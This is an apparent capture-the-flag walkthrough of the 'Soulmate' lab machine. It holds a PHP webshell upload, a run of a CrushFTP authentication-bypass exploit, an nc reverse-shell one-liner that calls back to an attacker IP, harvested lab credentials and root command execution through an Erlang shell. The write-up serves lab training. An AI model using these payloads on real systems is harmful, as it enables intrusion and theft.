Post

Soulmate

Soulmate

Recon

Port Discovery

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
sudo nmap -p22,80 -sCV 10.129.26.37
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-07 13:23 PKT
Nmap scan report for 10.129.26.37
Host is up (0.20s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soulmate.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.73 seconds

Add soulmate.htb to our /etc/hosts and let’s interact with it.

Web Enumeration

First we fingerprint the web:

1
2
whatweb http://soulmate.htb
http://soulmate.htb [200 OK] Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ], Email[hello@soulmate.htb], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.26.37], Script, Title[Soulmate - Find Your Perfect Match], nginx[1.18.0]

It’s a website about marriage:

alt text

We have a registration and a login form.

  • http://soulmate.htb/register.php
  • http://soulmate.htb/login.php

Let’s register:

alt text

There’s a file upload here, but we will come back to it once we have registered. After logging in, we are redirected to our profile page:

alt text

The only attack vector here is the file upload functionality.

Let’s try to upload a simple PHP webshell:

1
2
3
4
5
------WebKitFormBoundary6Kk9CL7xWEZfv2n4
Content-Disposition: form-data; name="profile_pic"; filename="webshell.php"
Content-Type: application/x-php

<?php system($_GET['cmd']); ?>

Unrestricted file uploads is possible. The only possibility is /assets directory that you can discover after fuzzing. But it returns a 403.

vHost Enumeartion

ffuf wasted ~25 minutes and brought back no results. gobuster worked fine for me:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
gobuster vhost -u http://soulmate.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -t 40                                
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://soulmate.htb
[+] Method:          GET
[+] Threads:         40
[+] Wordlist:        /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: ftp.soulmate.htb Status: 302 [Size: 0] [--> /WebInterface/login.html]
Progress: 4989 / 4990 (99.98%)
===============================================================
Finished
===============================================================

We have a subdomain, let’s add it to our /etc/hosts.

We are greeted with a login page of CrushFTP:

alt text

Let’s fingerprint it:

1
2
3
whatweb http://ftp.soulmate.htb
http://ftp.soulmate.htb [302 Found] Cookies[CrushAuth,currentAuth], Country[RESERVED][ZZ], CrushFTP, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[CrushAuth], IP[10.129.26.37], RedirectLocation[/WebInterface/login.html], nginx[1.18.0]
http://ftp.soulmate.htb/WebInterface/login.html [200 OK] Country[RESERVED][ZZ], Frame, HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.26.37], Script[module,text/javascript,text/javascript>const], Title[CrushFTP WebInterface], X-UA-Compatible[chrome=1], nginx[1.18.0]

There’s an authentication bypass vulnerability for CrushFTP.

CrushFTP Auth Bypass CVE-2025-31161

POC

Foothold

Let’s run the POC and create a new user with admin privileges:

1
2
3
4
python3 Shattered.py --target_host ftp.soulmate.htb --port 80 --cve 2825 --new_user khan --password marshal
[*] Starting mass exploitation using CVE-2025-2825 on provided targets...
[+] ftp.soulmate.htb exploited successfully!
[*] Exploitation complete in 1.41 seconds.

alt text

Clicking on the admin button takes us to another interface.

We have multiple users that we can view from admin -> User Manager:

alt text

The user that we care about is ben. Why? We were able to upload a webshell, and to get a foothold into the system we have to trigger it from the Web directory. Ben has access to webProd, as can be seen inside User Manager.

We can change the password just by editing the password field, after that click on the save button.

ben:ben123 (MUST CHANGE THE PASSWORD YOURSELF FIRST)

We can upload our webshell again:

alt text

Let’s test if our webshell works:

1
2
3
┌──(kali㉿vm-kali)-[~/htb/soulmate/ShatteredFTP]
└─$ curl http://soulmate.htb/webshell.php?cmd=whoami                                                                              
www-data

Let’s get a reverse shell.

Shell as www-data

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿vm-kali)-[~/htb/soulmate/ShatteredFTP]
└─$ curl http://soulmate.htb/webshell.php?cmd='rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%2010.10.16.40%201234%20%3E%2Ftmp%2Ff'

┌──(kali㉿vm-kali)-[~/htb/soulmate]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.16.40] from (UNKNOWN) [10.129.26.37] 55616
sh: 0: can't access tty; job control turned off
$ whoami
www-data

TTY Upgrade our shell.

1
python3 -c "import pty; pty.spawn('/bin/bash');"

We get crushFTP admin creds:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
www-data@soulmate:~/soulmate.htb/config$ cat config.php
<SNIP>
        // Create default admin user if not exists
        $adminCheck = $this->pdo->prepare("SELECT COUNT(*) FROM users WHERE username = ?");
        $adminCheck->execute(['admin']);
        
        if ($adminCheck->fetchColumn() == 0) {
            $adminPassword = password_hash('Crush4dmin990', PASSWORD_DEFAULT);
            $adminInsert = $this->pdo->prepare("
                INSERT INTO users (username, password, is_admin, name) 
                VALUES (?, ?, 1, 'Administrator')
            ");
            $adminInsert->execute(['admin', $adminPassword]);
        }

admin:Crush4dmin990

LinPEAS

A lot of output yet a few things of interest, like the existence of erlang:

1
2
3
4
5
6
7
8
9
10
11
╔══════════╣ Executable files potentially added by user (limit 70)
2025-08-27+09:28:26.8565101180 /usr/local/sbin/laurel                                                                                                                                                         
2025-08-15+07:46:57.3585015320 /usr/local/lib/erlang_login/start.escript
2025-08-14+14:13:10.4708616270 /usr/local/sbin/erlang_login_wrapper
2025-08-14+14:12:12.0726103070 /usr/local/lib/erlang_login/login.escript
2025-08-06+10:44:17.9697674470 /usr/local/lib/erlang/bin/start_erl
2025-08-06+10:44:17.9537674200 /usr/local/lib/erlang/erts-15.2.5/bin/start
2025-08-06+10:44:17.9537674200 /usr/local/lib/erlang/bin/start
2025-08-06+10:44:17.9497674140 /usr/local/lib/erlang/erts-15.2.5/bin/erl
2025-08-06+10:44:17.9497674140 /usr/local/lib/erlang/bin/erl
<SNIP>

Back to manual enumeration:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
www-data@soulmate:/usr/local/lib$ ls -la
total 20
drwxr-xr-x  5 root root 4096 Aug 14 14:12 .
drwxr-xr-x 10 root root 4096 Feb 17  2023 ..
drwxr-xr-x  8 root root 4096 Aug  6 10:44 erlang
drwxr-xr-x  2 root root 4096 Aug 15 07:46 erlang_login
drwxr-xr-x  3 root root 4096 Feb 17  2023 python3.10
www-data@soulmate:/usr/local/lib$ ls -la erlang_login/
total 16
drwxr-xr-x 2 root root 4096 Aug 15 07:46 .
drwxr-xr-x 5 root root 4096 Aug 14 14:12 ..
-rwxr-xr-x 1 root root 1570 Aug 14 14:12 login.escript
-rwxr-xr-x 1 root root 1427 Aug 15 07:46 start.escript

www-data@soulmate:/usr/local/lib$ cat erlang_login/start.escript
{user_passwords, [{"ben", "HouseH0ldings998"}]},

ben:HouseH0ldings998

SSH as ben

1
2
3
ben@soulmate:~$ sudo -l
[sudo] password for ben: 
Sorry, user ben may not run sudo on soulmate.

Perhaps erlang is our next step towards privilege escalation.

Let’s check the listening ports as well:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ben@soulmate:/usr/local/lib/erlang$ ss -tulnp
Netid                State                 Recv-Q                Send-Q                               Local Address:Port                                Peer Address:Port               Process               
udp                  UNCONN                0                     0                                    127.0.0.53%lo:53                                       0.0.0.0:*                                        
udp                  UNCONN                0                     0                                          0.0.0.0:68                                       0.0.0.0:*                                        
tcp                  LISTEN                0                     4096                                     127.0.0.1:8080                                     0.0.0.0:*                                        
tcp                  LISTEN                0                     4096                                 127.0.0.53%lo:53                                       0.0.0.0:*                                        
tcp                  LISTEN                0                     4096                                     127.0.0.1:44227                                    0.0.0.0:*                                        
tcp                  LISTEN                0                     4096                                     127.0.0.1:9090                                     0.0.0.0:*                                        
tcp                  LISTEN                0                     128                                      127.0.0.1:41721                                    0.0.0.0:*                                        
tcp                  LISTEN                0                     511                                        0.0.0.0:80                                       0.0.0.0:*                                        
tcp                  LISTEN                0                     128                                        0.0.0.0:22                                       0.0.0.0:*                                        
tcp                  LISTEN                0                     4096                                     127.0.0.1:4369                                     0.0.0.0:*                                        
tcp                  LISTEN                0                     4096                                     127.0.0.1:8443                                     0.0.0.0:*                                        
tcp                  LISTEN                0                     5                                        127.0.0.1:2222                                     0.0.0.0:*                                        
tcp                  LISTEN                0                     4096                                         [::1]:4369                                        [::]:*                                        
tcp                  LISTEN                0                     511                                           [::]:80                                          [::]:*                                        
tcp                  LISTEN                0                     128                                           [::]:22                                          [::]:*                                        

Erlang Shell

Erlang Vulnerability

1
2
3
4
5
6
ben@soulmate:/usr/local/lib/erlang$ ssh ben@localhost -p2222
The authenticity of host '[localhost]:2222 ([127.0.0.1]:2222)' can't be established.


(ssh_runner@soulmate)1> 

Let’s run os commands:

1
2
(ssh_runner@soulmate)2> os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"

We can easily get the root flag:

1
(ssh_runner@soulmate)3> os:cmd("cat /root/root.txt").

This post is licensed under CC BY 4.0 by the author.